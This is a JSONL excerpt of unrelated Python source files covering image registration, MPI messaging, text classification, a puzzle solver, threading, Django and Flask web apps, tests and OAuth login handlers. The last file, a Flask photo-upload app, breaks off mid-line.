+{"seq_id":"15882485","text":"#!/usr/bin/env python\n\nimport itk\n\nDimension = 2\nPixelType = itk.ctype('unsigned char')\nImageType = itk.Image[PixelType, Dimension]\n\ndef CreateFixedImage(image):\n    start = itk.Index[Dimension]()\n    start.Fill(0)\n\n    size = itk.Size[Dimension]()\n    size.Fill(100)\n\n    region = itk.ImageRegion[Dimension]()\n    region.SetSize(size)\n    region.SetIndex(start)\n\n    image.SetRegions(region)\n    image.Allocate()\n    image.FillBuffer(0)\n\n    index = itk.Index[Dimension]()\n    for ii in range(10, 20):\n        for jj in range(10, 20):\n            index[0] = ii\n            index[1] = jj\n            image.SetPixel(index, 255)\n\n    writer = itk.ImageFileWriter.New(Input=image)\n    writer.SetFileName(\"fixed.png\")\n    writer.Update()\n\ndef CreateMovingImage(image):\n    start = itk.Index[Dimension]()\n    start.Fill(0)\n\n    size = itk.Size[Dimension]()\n    size.Fill(100)\n\n    region = itk.ImageRegion[Dimension]()\n    region.SetSize(size)\n    region.SetIndex(start)\n\n    image.SetRegions(region)\n    image.Allocate()\n    image.FillBuffer(0)\n\n    index = itk.Index[Dimension]()\n    for ii in range(50, 60):\n        for jj in range(50, 60):\n            index[0] = ii\n            index[1] = jj\n            image.SetPixel(index, 100)\n\n    writer = itk.ImageFileWriter.New(Input=image)\n    writer.SetFileName(\"moving.png\")\n    writer.Update()\n\nfixed_image = ImageType.New()\nCreateFixedImage(fixed_image)\n\nmoving_image = ImageType.New()\nCreateMovingImage(moving_image)\n\nVectorComponentType = itk.ctype('float')\nVectorType = itk.Vector[VectorComponentType, Dimension]\nDisplacementFieldType = itk.Image[VectorType, Dimension]\n\nRigid2DTransformType = itk.Rigid2DTransform[itk.D]\nlandmark_based_transform_initializer = \\\n        itk.LandmarkBasedTransformInitializer[itk.Transform[itk.D, Dimension,\n            Dimension]].New()\n\nLandmarkPointType = itk.Point[itk.D, Dimension]\nLandmarkContainerType = itk.vector[LandmarkPointType]\n\nfixed_landmarks = LandmarkContainerType()\nmoving_landmarks = LandmarkContainerType()\n\nfixed_point = LandmarkPointType()\nmoving_point = LandmarkPointType()\n\nfixed_point[0] = 10\nfixed_point[1] = 10\nmoving_point[0] = 50\nmoving_point[1] = 50\nfixed_landmarks.push_back(fixed_point)\nmoving_landmarks.push_back(moving_point)\n\nfixed_point[0] = 10\nfixed_point[1] = 20\nmoving_point[0] = 50\nmoving_point[1] = 60\nfixed_landmarks.push_back(fixed_point)\nmoving_landmarks.push_back(moving_point)\n\nfixed_point[0] = 20\nfixed_point[1] = 10\nmoving_point[0] = 60\nmoving_point[1] = 50\nfixed_landmarks.push_back(fixed_point)\nmoving_landmarks.push_back(moving_point)\n\nfixed_point[0] = 20\nfixed_point[1] = 20\nmoving_point[0] = 60\nmoving_point[1] = 60\nfixed_landmarks.push_back(fixed_point)\nmoving_landmarks.push_back(moving_point)\n\nlandmark_based_transform_initializer.SetFixedLandmarks(fixed_landmarks)\nlandmark_based_transform_initializer.SetMovingLandmarks(moving_landmarks)\n\ntransform = Rigid2DTransformType.New()\ntransform.SetIdentity()\nlandmark_based_transform_initializer.SetTransform(transform)\nlandmark_based_transform_initializer.InitializeTransform()\n\nresampler = itk.ResampleImageFilter.New(Input=moving_image)\nresampler.SetTransform(transform)\n# resampler.SetReferenceImage(fixed_image)\nresampler.SetSize(fixed_image.GetLargestPossibleRegion().GetSize())\nresampler.SetOutputOrigin(fixed_image.GetOrigin())\nresampler.SetOutputSpacing(fixed_image.GetSpacing())\nresampler.SetOutputDirection(fixed_image.GetDirection())\nresampler.SetDefaultPixelValue(200)\nresampler.UpdateLargestPossibleRegion()\n\nwriter = itk.ImageFileWriter.New(Input=resampler.GetOutput())\nwriter.SetFileName(\"output.png\")\nwriter.UpdateLargestPossibleRegion()\n","sub_path":"Comment/ITKWikiExamples/Registration/LandmarkBasedTransformInitializer.py","file_name":"LandmarkBasedTransformInitializer.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"409920140","text":"\"\"\"\nOne of the most important features among those provided by MPI is the point-to-point\ncommunication, which is a mechanism that enables data transmission between two\nprocesses: a process receiver, and process sender.\nThe Python module mpi4py enables point-to-point communication via two functions:\n    Comm.Send(data, process_destination) : This sends data to the destination\n        process identifid by its rank in the communicator group\n    Comm.Recv(process_source) : This receives data from the source process, which\n        is also identifid by its rank in the communicator group\nThe Comm parameter, which stands for communicator, defies the group of processes, that\nmay communicate through message passing:\n    comm = MPI.COMM_WORLD\n\"\"\"\n\nfrom mpi4py import MPI\n\ncomm = MPI.COMM_WORLD\nrank = comm.rank\nprint('my rank is:', rank)\n\nif rank == 0:\n    data = 100000000\n    destination_process = 4\n    comm.send(data, dest=destination_process)\n    print('sending data %s'%data + \" to process %d\"%destination_process)\n\nif rank == 1:\n    destination_process = 8\n    data = 'hello'\n    comm.send(data, dest=destination_process)\n    print('sending data %s'%data + \" to process %d\"%destination_process)\n\nif rank == 4:\n    data = comm.recv(source=0)\n    print('data received is = %s'%data)\n\nif rank == 8:\n    data = comm.recv(source=1)\n    print('data received is = %s'%data)\n\n# mpiexec -n 9 python ","sub_path":"ParallelProgramming/ProcessParallel/pointToPointCommunication_MPI.py","file_name":"pointToPointCommunication_MPI.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"580742175","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics import classification_report, f1_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.linear_model import LogisticRegression\n\n# Load training data file\nrdf = pd.read_csv('Train.csv')\n\n# Remove rows without required features\nrdf = rdf[rdf['reviewText'].notna()]\nrdf = rdf[rdf['summary'].notna()]\nrdf = rdf[rdf['overall'].notna()]\n\n# A product is awesome if its average overall rating is greater than 4.5 stars\nproduct_is_awesome = lambda x: 1 if np.mean(x) > 4.5 else 0\nproddf = rdf.groupby('amazon-id').agg({'overall': product_is_awesome})\n\n# An individual review is awesome if its overall rating is 5 stars\nreview_is_awesome = lambda x: 1 if x == 5 else 0\nrdf['awesome'] = rdf['overall'].map(review_is_awesome)\n\n# We want to analyze both text fields as one\nrdf['text'] = rdf['reviewText'] + rdf['summary']\n\n# Train and test with 10-fold split\nf1s = []\nkf = KFold(n_splits=10)\nfor train_idx, test_idx in kf.split(proddf):\n    trainproddf = proddf.iloc[train_idx]\n    testproddf = proddf.iloc[test_idx]\n\n    # Aggregate all rows with reviews in the product dfs\n    traindf = rdf[rdf['amazon-id'].isin(trainproddf.index)]\n    testdf = rdf[rdf['amazon-id'].isin(testproddf.index)]\n\n    # Prepare sentiment analysis data\n    X_train = traindf['text']\n    X_test = testdf['text']\n    y_train = traindf['awesome']\n\n    # Transform text with TfidfVectorizer\n    tfv = TfidfVectorizer(ngram_range=(1,2))\n    X_train = tfv.fit_transform(X_train, y_train)\n    X_test = tfv.transform(X_test)\n\n    # Classify with logistic regression\n    lr = LogisticRegression(max_iter=10000, n_jobs=4)\n    lr.fit(X_train, y_train)\n    testdf['prediction'] = lr.predict(X_test)\n\n    # Products are predicted to be awesome if the average of review predictions is over 80%\n    prediction_is_awesome = lambda x: 1 if np.mean(x) > 0.80 else 0\n    prodpreddf = testdf.groupby('amazon-id').agg({'prediction': prediction_is_awesome})\n\n    print(classification_report(testproddf['overall'], prodpreddf['prediction']))\n    f1s.append(f1_score(testproddf['overall'], prodpreddf['prediction'], average='weighted'))\n\nprint(np.asarray(f1s).mean())\n\n    ","sub_path":"testing code/test_classify.py","file_name":"test_classify.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"253044828","text":"from sys import argv as args\r\nfrom copy import deepcopy\r\nfrom collections import deque\r\n\r\nstates = (\".\", \"|\", \"#\")\r\n\r\nivals = dict()\r\nivals[\"#\"] = 0\r\nivals[\".\"] = 0\r\nivals[\"|\"] = 0\r\n\r\ndef parseLine(l):\r\n\treturn tuple([states.index(c) for c in l])\r\n\r\nfile = open(\"input.txt\")\r\ninput = file.read()\r\nfile.close()\r\n\r\nsinput = \"\"\".#.#...|#.\r\n.....#|##|\r\n.|..|...#.\r\n..|#.....#\r\n#.#|||#|#|\r\n...#.||...\r\n.|....|...\r\n||...#|.#|\r\n|.||||..|.\r\n...#.|..|.\"\"\"\r\n\r\nvmap = [parseLine(l) for l in input.split(\"\\n\") if len(l) != 0]\r\nylen = len(vmap)\r\nxlen = len(vmap[0])\r\n\r\ndef getAt(x, y):\r\n\tif y < 0 or y >= ylen or x < 0 or x >= xlen:\r\n\t\treturn None\r\n\treturn vmap[y][x]\t\t\r\n\r\ndef next(x, y):\r\n\tv = vmap[y][x]\r\n\taround = list()\r\n\t[[around.append(getAt(x+i-1, y+j-1)) for j in range(3) if not (i == 1 and j == 1)] for i in range(3)]\r\n\tif v == 0:\r\n\t\tif len([v for v in around if v == 1]) >= 3:\r\n\t\t\treturn 1\r\n\telif v == 1:\r\n\t\tif len([v for v in around if v == 2]) >= 3:\r\n\t\t\treturn 2\r\n\telif v == 2:\r\n\t\tif len([v for v in around if v == 1]) < 1 or len([v for v in around if v == 2]) < 1:\r\n\t\t\treturn 0\r\n\treturn v\r\n\r\ndef getVals():\r\n\tvals = [0 for x in range(3)]\r\n\tfor y in range(ylen):\r\n\t\tfor x in range(xlen):\r\n\t\t\tvals[vmap[y][x]] += 1\r\n\treturn vals\r\n\r\ndef drawMap(cmap):\r\n\tfor y in range(ylen):\r\n\t\tprint(\"\".join([str(c) for c in cmap[y]]))\r\n\r\ndef iterate(n):\r\n\tglobal vmap\r\n\tfor i in range(n):\r\n\t\tomap = [deque() for y in range(ylen)]\r\n\t\tfor y in range(ylen):\r\n\t\t\tfor x in range(xlen):\r\n\t\t\t\tomap[y].append(next(x, y))\r\n\t\tvmap = omap\r\n\r\ndef getRes():\r\n\tvals = getVals()\r\n\treturn (vals[1] * vals[2])\r\n\r\ndef solve1():\r\n\tdrawMap(vmap)\r\n\titerate(10)\r\n\tvals = getVals()\t\r\n\tdrawMap(vmap)\r\n\tprint(vals[1] * vals[2])\r\n\treturn\r\n\r\ndef solve2():\r\n\titerate(1000)\r\n\tomap = deepcopy(vmap)\r\n\tcounter = 0\r\n\tstop = False\r\n\twhile not stop:\r\n\t\titerate(1)\r\n\t\tcounter += 1\r\n\t\tif vmap == omap:\r\n\t\t\tstop = True\r\n\r\n\tprint(counter)\r\n\tprint(getRes())\r\n\tdrawMap(vmap)\r\n\treturn\r\n\r\ndef main():\r\n\tif len(args) > 1:\r\n\t\tif args[1] == \"1\":\r\n\t\t\tsolve1()\r\n\t\telif args[1] == \"2\":\r\n\t\t\tsolve2()\r\n\r\nmain()\r\n","sub_path":"18/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"296375087","text":"\n'''\n    创建一个可执行线程需要两个要素：\n    线程对象。是threading模块线程类Thread所创建的对象。\n    线程体。是线程执行的函数。\n\n    提供线程体：\n    1、自定义函数作为线程体\n    2、继承Thread类重现run()方法\n\n    threading.Thread(target=None, name=None, args-())\n\n'''\n\nimport threading\nimport time\n\n# 线程体函数\ndef thread_body():\n    # 当前线程对象\n    t = threading.current_thread()\n    for n in range(5):\n        # 当前线程名\n        print('第{0}次执行线程{1}'.format(n, t.name))\n        # 线程休眠\n        time.sleep(1)\n    print('线程{0}执行完成!'.format(t.name))\n\n\n# 主函数\ndef main():\n    # 创建线程对象t1\n    t1 = threading.Thread(target=thread_body)\n    # 启动线程\n    t1.start()\n\n    # 创建线程对象t2\n    t2 = threading.Thread(target=thread_body)\n    # 启动线程\n    t2.start()\n\n\nif __name__ == '__main__':\n    main()\n\n","sub_path":"第三章 Python高级实用库与框架/part05 Python多线程编程/5-3 自定义函数作为线程体/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"373801217","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 29 20:49:37 2016\n\n@author: Methinee\n\"\"\"\nimport pandas as pd\n\ndf_file = pd.read_csv('../data/df_dropSub_less20.csv',delimiter=\",\", skip_blank_lines = True, \n                 error_bad_lines=False)\n                 \ndrop_naResult = df_file[df_file['4RESULT'] != 0]\ndrop_naResult.to_csv('../data'+'/df_dropSub_less20_dropNaResult.csv')","sub_path":"pae/forcast/src/create_dfmore20_dropNanResult.py","file_name":"create_dfmore20_dropNanResult.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"367365897","text":"\"\"\"Classes for forms related to organizations.\"\"\"\n\nfrom django.forms import ModelForm\n\nfrom organizations.models import Organization\n\n\nclass PopeOrganizationForm(ModelForm):\n    class Meta:\n        \"\"\"Meta default.\"\"\"\n        model = Organization\n        fields = [\n            'org_name',\n            'email',\n            'telephone',\n            'cep',\n            'neighbourhood',\n            'addr',\n            'additional_addr'\n        ]\n","sub_path":"organizations/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"132373236","text":"import traceback\n\nfrom models.assignment import Assignment\nfrom models.assignment_container import AssignmentContainer\nfrom models.group import Group\nfrom models.group_container import GroupContainer\nfrom models.student import Student\nfrom models.user_container import UserContainer\nfrom views.mentor_view import MentorView\n\n\nclass MentorController:\n\n    def __init__(self):\n        ...\n\n    def start(self):\n        \"\"\"\n        Starts controller\n\n        :return: None\n        \"\"\"\n        exit_program = False\n        while not exit_program:\n            try:\n                option = MentorView.display_menu()\n                if option == '1':\n                    self.show_students()\n                elif option == '2':\n                    self.add_assignment()\n                elif option == '3':\n                    self.show_assignments()\n                elif option == '4':\n                    self.grade_assignment()\n                elif option == '5':\n                    self.check_attendance()\n                elif option == '6':\n                    self.change_student_data()\n                elif option == '7':\n                    self.promote_user_to_student()\n                elif option == '8':\n                    self.edit_groups()\n                elif option == '9':\n                    self.edit_groups(False)\n                elif option == '0':\n                    exit_program = True\n                else:\n                    MentorView.show_invalid_input()\n            except IndexError:\n                MentorView.display_index_error()\n            except ValueError as error:\n                if 'invalid literal' in str(error):\n                    MentorView.show_invalid_input()\n                else:\n                    MentorView.display_date_error()\n            except AttributeError:\n                MentorView.display_group_exists()\n            except Exception:\n                tb = traceback.format_exc()\n                print(tb)\n                input()\n\n        UserContainer.get_instance().save_users_to_file()\n\n    def show_students(self):\n        \"\"\"\n        Displays students data\n\n        :return: None\n        \"\"\"\n        students_list = UserContainer.get_instance().get_students_list()\n        MentorView.display_students_list(students_list)\n\n    def show_assignments(self):\n        \"\"\"\n        Displsys assigments data\n\n        :return: None\n        \"\"\"\n        assignments = AssignmentContainer.get_instance().get_assignments_list()\n        MentorView.display_assignments(assignments)\n\n    def add_assignment(self):\n        \"\"\"\n        Adds new assigments\n\n        :return: None\n        \"\"\"\n        students_list = UserContainer.get_instance().get_students_list()\n        deadline, title, description = MentorView.return_assignment_values()\n        new_assignment = Assignment(deadline, title, description)\n        AssignmentContainer.get_instance().add_assignment(new_assignment)\n        for student in students_list:\n            student.add_student_assignment(deadline, title, description)\n\n    def grade_assignment(self):\n        \"\"\"\n        Adds grade to chosen assigment\n\n        :return: None\n        \"\"\"\n        students_list = UserContainer.get_instance().get_students_list()\n        if not students_list:\n            MentorView.display_not_enough_data()\n            return\n        student_index = MentorView.get_student_index(students_list)\n        student_index = int(student_index)\n        student = students_list[student_index]\n        assignment_index, grade = MentorView.get_grade_values(student)\n        students_list = UserContainer.get_instance().get_students_list()\n        students_list[student_index].assignments[assignment_index].grade = grade\n\n    def check_attendance(self):\n        \"\"\"\n        Checks if students from certain group are present and adds attendance count to group\n\n        :return: None\n        \"\"\"\n        groups = GroupContainer.get_instance().get_groups_list()\n        if groups:\n            group_index = MentorView.get_group_index(groups)\n            group_index = int(group_index)\n            group = groups[group_index]\n        else:\n            MentorView.display_not_enough_data()\n            return\n        group_students = GroupContainer.get_instance().get_group(group.name).get_student_list()\n        for student in group_students:\n            student_present = MentorView.get_presence(student)\n            if student_present:\n                student.attendance += 1\n        UserContainer.get_instance().save_users_to_file()\n        group.attendance_check_count += 1\n        GroupContainer.get_instance().save_groups_to_file()\n\n    def change_student_data(self):\n        \"\"\"\n        Edits student data\n\n        :return: None\n        \"\"\"\n        value_changing = True\n        students_list = UserContainer.get_instance().get_students_list()\n        if not students_list:\n            MentorView.display_not_enough_data()\n            return\n        student_index = MentorView.get_student_index(students_list)\n        student_index = int(student_index)\n        student = students_list[student_index]\n        while value_changing:\n            value_to_change = MentorView.get_student_value_to_change()\n            if value_to_change == '1':\n                student.login = MentorView.get_new_value('login')\n            elif value_to_change == '2':\n                student.name = MentorView.get_new_value('name')\n            elif value_to_change == '3':\n                student.password = MentorView.get_new_value('password')\n            elif value_to_change == '4':\n                additional_days = MentorView.get_additional_attendance()\n                student.attendance += int(additional_days)\n                MentorView.show_invalid_input()\n            elif value_to_change == '5':\n                groups = GroupContainer.get_instance().get_groups_list()\n                if not groups:\n                    MentorView.display_not_enough_data()\n                    return\n                group_index = MentorView.get_group_index(groups)\n                group_index = int(group_index)\n                GroupContainer.get_instance().add_student_to_group(groups[group_index].name, student)\n                UserContainer.get_instance().save_users_to_file()\n            elif value_to_change == '6':\n                return\n            else:\n                MentorView.show_invalid_input()\n\n    def promote_user_to_student(self):\n        \"\"\"\n        Assignes user to students list\n\n        :return: None\n        \"\"\"\n        not_assigned_users = UserContainer.get_instance().get_not_assigned_users_list()\n        user_index = MentorView.get_user_index(not_assigned_users)\n        user_index = int(user_index)\n        user_to_assign = not_assigned_users[user_index]\n        name = user_to_assign.name\n        login = user_to_assign.login\n        password = user_to_assign.password\n        phone_number = user_to_assign.phone_number\n        email = user_to_assign.email\n        UserContainer.get_instance().remove_user(user_to_assign)\n        if not user_to_assign:\n            return\n        user_to_assign = Student(name, login, password, phone_number, email)\n        UserContainer.get_instance().add_user(user_to_assign)\n\n    def edit_groups(self, create_new=True):\n        \"\"\"\n        Creates or edits group\n\n        :param create_new: bool -> Decides if method will create new or edit existing group\n        :return: None\n        \"\"\"\n        if create_new:\n            new_group_name = MentorView.get_group_name()\n            group = Group(new_group_name)\n            GroupContainer.get_instance().add_group(group.name)\n        else:\n            groups_list = GroupContainer.get_instance().get_groups_list()\n            group_index = int(MentorView.get_group_index(groups_list))\n            new_group_name = MentorView.get_group_name()\n            for group in groups_list:\n                if group.name == new_group_name:\n                    raise AttributeError\n            groups_list[group_index].name = new_group_name\n\n\n\n","sub_path":"controllers/mentor_controller.py","file_name":"mentor_controller.py","file_ext":"py","file_size_in_byte":8011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"428047357","text":"# -*- coding: utf-8 -*-\n\nfrom lastuserapp import db\nimport lastuser_core.models as models\nfrom .test_db import TestDatabaseFixture\n\n\nclass TestClient(TestDatabaseFixture):\n    def setUp(self):\n        super(TestClient, self).setUp()\n        self.user = models.User.query.filter_by(username=u\"user1\").first()\n\n\nclass TestUserClientPermissions(TestDatabaseFixture):\n    def setUp(self):\n        super(TestUserClientPermissions, self).setUp()\n        self.user = models.User.query.filter_by(username=u\"user1\").first()\n        self.create_fixtures()\n\n    def create_fixtures(self):\n        # Add permission to the client\n        client = models.Client.query.filter_by(user=self.user).first()\n        self.permission = models.UserClientPermissions(user=self.user, client=client)\n        self.permission.permissions = u\"admin\"\n        db.session.add(self.permission)\n        db.session.commit()\n\n\nclass TestTeamClientPermissions(TestDatabaseFixture):\n    def setUp(self):\n        super(TestTeamClientPermissions, self).setUp()\n        self.user = models.User.query.filter_by(username=u\"user1\").first()\n        self.client = models.Client.query.filter_by(user=self.user).first()\n        self.create_fixtures()\n\n    def create_fixtures(self):\n        self.org = models.Organization(title=u\"test\", name=u\"Test\")\n        self.org.owners.users.append(self.user)\n        db.session.add(self.org)\n        self.team = models.Team(userid=self.user.userid, title=u\"developers\", org=self.org)\n        db.session.add(self.team)\n        self.team_client_permission = models.TeamClientPermissions(team=self.team, client=self.client, access_permissions=u\"admin\")\n        db.session.add(self.team_client_permission)\n        db.session.commit()\n\n\nclass TestResource(TestDatabaseFixture):\n    def setUp(self):\n        super(TestResource, self).setUp()\n        self.user = models.User.query.filter_by(username=u\"user1\").first()\n        self.client = models.Client.query.filter_by(user=self.user).first()\n        self.create_fixtures()\n\n    def create_fixtures(self):\n        resource = models.Resource(name=u\"resource\", title=u\"Resource\", client=self.client)\n        db.session.add(resource)\n        db.session.commit()\n\n    def test_find_all(self):\n        resources = self.client.resources\n        self.assertEqual(len(resources), 2)\n        self.assertEqual(set([r.name for r in resources]), set([u'test_resource', u'resource']))\n\n\nclass TestClientTeamAccess(TestDatabaseFixture):\n    def setUp(self):\n        super(TestClientTeamAccess, self).setUp()\n        self.user = models.User.query.filter_by(username=u\"user1\").first()\n        self.client = models.Client.query.filter_by(user=self.user).first()\n        self.client.team_access = True\n        db.session.commit()\n        self.create_fixtures()\n\n    def create_fixtures(self):\n        self.org = models.Organization(title=u\"test\", name=u\"Test\")\n        self.org.owners.users.append(self.user)\n        db.session.add(self.org)\n        self.team = models.Team(userid=self.user.userid, title=u\"developers\", org=self.org)\n        db.session.add(self.team)\n        self.team_client_permission = models.TeamClientPermissions(team=self.team, client=self.client, access_permissions=u\"admin\")\n        db.session.add(self.team_client_permission)\n        self.client_team_access = models.ClientTeamAccess(org=self.org, client=self.client, access_level=models.CLIENT_TEAM_ACCESS.ALL)\n        db.session.add(self.client_team_access)\n        db.session.commit()\n\n    def test_find_all(self):\n        self.assertIs(self.client.org_team_access[0], self.client_team_access)\n\n\nclass TestPermission(TestDatabaseFixture):\n    def setUp(self):\n        super(TestPermission, self).setUp()\n        self.user = models.User.query.filter_by(username=u\"user1\").first()\n        self.create_fixtures()\n\n    def create_fixtures(self):\n        self.org = models.Organization(title=u\"test\", name=u\"Test\")\n        self.org.owners.users.append(self.user)\n        db.session.add(self.org)\n        self.permission = models.Permission(user=self.user, org=self.org, name=u\"admin\", title=u\"admin\", allusers=True)\n        db.session.add(self.permission)\n        db.session.commit()\n","sub_path":"tests/test_model_client.py","file_name":"test_model_client.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"587073124","text":"# -*- coding: utf-8 -*-\n# Copyright 2016 Mobicage NV\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# @@license_version:1.1@@\nimport httplib\nimport os\nimport urllib\nimport uuid\n\nimport webapp2\n\nfrom auth import login_user, logout_user, get_current_user_id\nfrom handlers import render_error_page, render_page\nfrom mcfw.exceptions import HttpException\nfrom plugin_loader import get_config\nfrom plugins.its_you_online_auth.bizz.authentication import get_user_scopes\nfrom plugins.its_you_online_auth.bizz.settings import get_organization\nfrom plugins.its_you_online_auth.exceptions.organizations import OrganizationNotFoundException\nfrom plugins.its_you_online_auth.models import OauthLoginState\nfrom plugins.its_you_online_auth.plugin_consts import OAUTH_BASE_URL, NAMESPACE, SOURCE_WEB, SOURCE_APP\nfrom plugins.its_you_online_auth.plugin_utils import get_sub_organization\nfrom utils import now\n\n\nclass SigninHandler(webapp2.RequestHandler):\n    def get(self):\n        user_id = get_current_user_id()\n        if user_id:\n            self.redirect('/')\n            return\n\n        render_page(self.response, os.path.join('unauthenticated', 'signin.html'), plugin_name=NAMESPACE)\n\n\nclass LogoutHandler(webapp2.RequestHandler):\n    def get(self):\n        user_id = get_current_user_id()\n        if user_id:\n            logout_user(self.response)\n        self.redirect('/')\n\n\nclass AppLoginHandler(webapp2.RequestHandler):\n    def get(self):\n        params = dict()\n        params['source'] = 'app'\n        self.redirect('/login/organization?%s' % urllib.urlencode(params))\n\n\nclass PickOrganizationHandler(webapp2.RequestHandler):\n    def get(self):\n        organization_id = self.request.GET.get('organization_id', None)\n        source = self.request.GET.get('source', SOURCE_WEB)\n\n        error = None\n        if organization_id:\n            config = get_config(NAMESPACE)\n            if organization_id != config.root_organization.name:\n                try:\n                    get_organization(organization_id)\n                except OrganizationNotFoundException as e:\n                    error = e.message\n\n            if not error:\n                params = dict()\n                params['source'] = source\n                params['organization_id'] = organization_id\n                self.redirect('/login/redirect?%s' % urllib.urlencode(params))\n                return\n\n        template_dict = dict(source=self.request.GET.get('source', SOURCE_WEB),\n                             error=error)\n\n        render_page(self.response, os.path.join('unauthenticated', 'organization.html'), plugin_name=NAMESPACE,\n                    template_dict=template_dict)\n\n\nclass DoLoginHandler(webapp2.RequestHandler):\n    def get(self):\n        organization_id = self.request.GET.get('organization_id', None)\n        source = self.request.GET.get('source', SOURCE_WEB)\n\n        if not organization_id:\n            self.redirect('/login/organization')\n            return\n\n        config = get_config(NAMESPACE)\n        if organization_id != config.root_organization.name:\n            try:\n                get_organization(organization_id)\n            except OrganizationNotFoundException as e:\n                render_error_page(self.response, httplib.BAD_REQUEST, e.message)\n                return\n\n        if source not in [SOURCE_WEB, SOURCE_APP]:\n            render_error_page(self.response, httplib.BAD_REQUEST, 'Bad Request')\n            return\n\n        if organization_id == config.root_organization.name:\n            if source == SOURCE_APP:\n                render_error_page(self.response, httplib.BAD_REQUEST, 'Bad Request')\n                return\n            else:\n                sub_org = organization_id\n        else:\n            sub_org = get_sub_organization(config, organization_id)\n\n        params = {\n            'response_type': 'code',\n            'client_id': config.root_organization.name,\n            'redirect_uri': config.root_organization[source].redirect_uri,\n            'scope': 'user:memberof:%s' % sub_org,\n            'state': str(uuid.uuid4())\n        }\n\n        login_state = OauthLoginState(key=OauthLoginState.create_key(params['state']))\n        login_state.timestamp = now()\n        login_state.organization_id = organization_id\n        login_state.source = source\n        login_state.completed = False\n        login_state.put()\n\n        oauth_url = '%s/authorize?%s' % (OAUTH_BASE_URL, urllib.urlencode(params))\n        self.redirect(oauth_url)\n\n\nclass Oauth2CallbackHandler(webapp2.RequestHandler):\n    def get(self):\n        # should only be used by source web\n        code = self.request.GET.get('code', None)\n        state = self.request.GET.get('state', None)\n        try:\n            username, scopes = get_user_scopes(code, state)\n        except HttpException as e:\n            render_error_page(self.response, e.http_code, e.error)\n            return\n\n        login_user(self.response, username, scopes)\n        self.redirect('/')\n","sub_path":"plugins/its_you_online_auth/handlers/unauthenticated.py","file_name":"unauthenticated.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"82366864","text":"import os\nfrom _curses import flash\n\nfrom flask import Flask, render_template, request, redirect, url_for, send_from_directory, session\nfrom werkzeug.utils import secure_filename\nimport sqlite3 as sql\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\nUPLOAD_FOLDER = os.path.join(APP_ROOT, 'userUploads/')\n\nprint('upload', UPLOAD_FOLDER)\nALLOWED_EXTENSIONS = set(['jpg', 'txt'])\n\nprint('hdere: ', UPLOAD_FOLDER)\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.secret_key = \"super secret key\"\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/colorpicker')\ndef hello_world():\n    if 'name' in request.args:\n        name = request.args.get('name');\n        newPath = '/static/images/' + name;\n        session['path'] = newPath\n\n    path = session['path']\n    print('path: ', path)\n    return render_template('colorpicker.html', filename=path)\n\n@app.route('/word', methods=['GET', 'POST'])\ndef word():\n    if request.method == 'POST':\n        word = request.form['word']\n        session['word'] = word\n        return redirect('/uploadPhoto')\n    return render_template('wordselect.html')\n\n\n# @app.route('/wordPick', methods=['POST'])\n# def wordPick():\n#     word = request.form['word']\n#     return render_template('wordselect.html', word=word)\n\n@app.route('/uploadPhoto', methods=['GET', 'POST'])\ndef uploadPhoto():\n    if request.method == 'POST':\n        # check if the post request has the file part\n        if 'file' not in request.files:\n            flash('No file part')\n            return redirect(request.url)\n        file = request.files['file']\n        print('requests: ', request.files['file'])\n        # if user does not select file, browser also\n        # submit a empty part without filename\n        if file.filename == '':\n            flash('No selected file')\n            return redirect(request.url)\n        if file and allowed_file(file.filename):\n            filename = secure_filename(file.filename)\n            print('path: ', os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            session['photo'] = filename\n            session['path'] = '../uploads/' + filename\n            return redirect('/colorpicker')\n            # return redirect(url_for('uploadPhoto',\n            #                         filename=filename))\n\n    images = os.listdir(os.path.join(app.static_folder, \"images\"))\n\n    return render_template('pickFile.html', images=images)\n\n@app.route('/wordcolor')\ndef wordColor():\n    print(request.args)\n    print(request.query_string)\n    val1 = '#' + request.args.get('val1')\n    print(val1)\n    val2 = '#' + request.args.get('val2')\n    val3 = '#' + request.args.get('val3')\n    val4 = '#' + request.args.get('val4')\n    val5 = '#' + request.args.get('val5')\n    session['val1'] = val1;\n    session['val2'] = val2;\n    session['val3'] = val3;\n    session['val4'] = val4;\n    session['val5'] = val5;\n\n\n    colors = [val1, 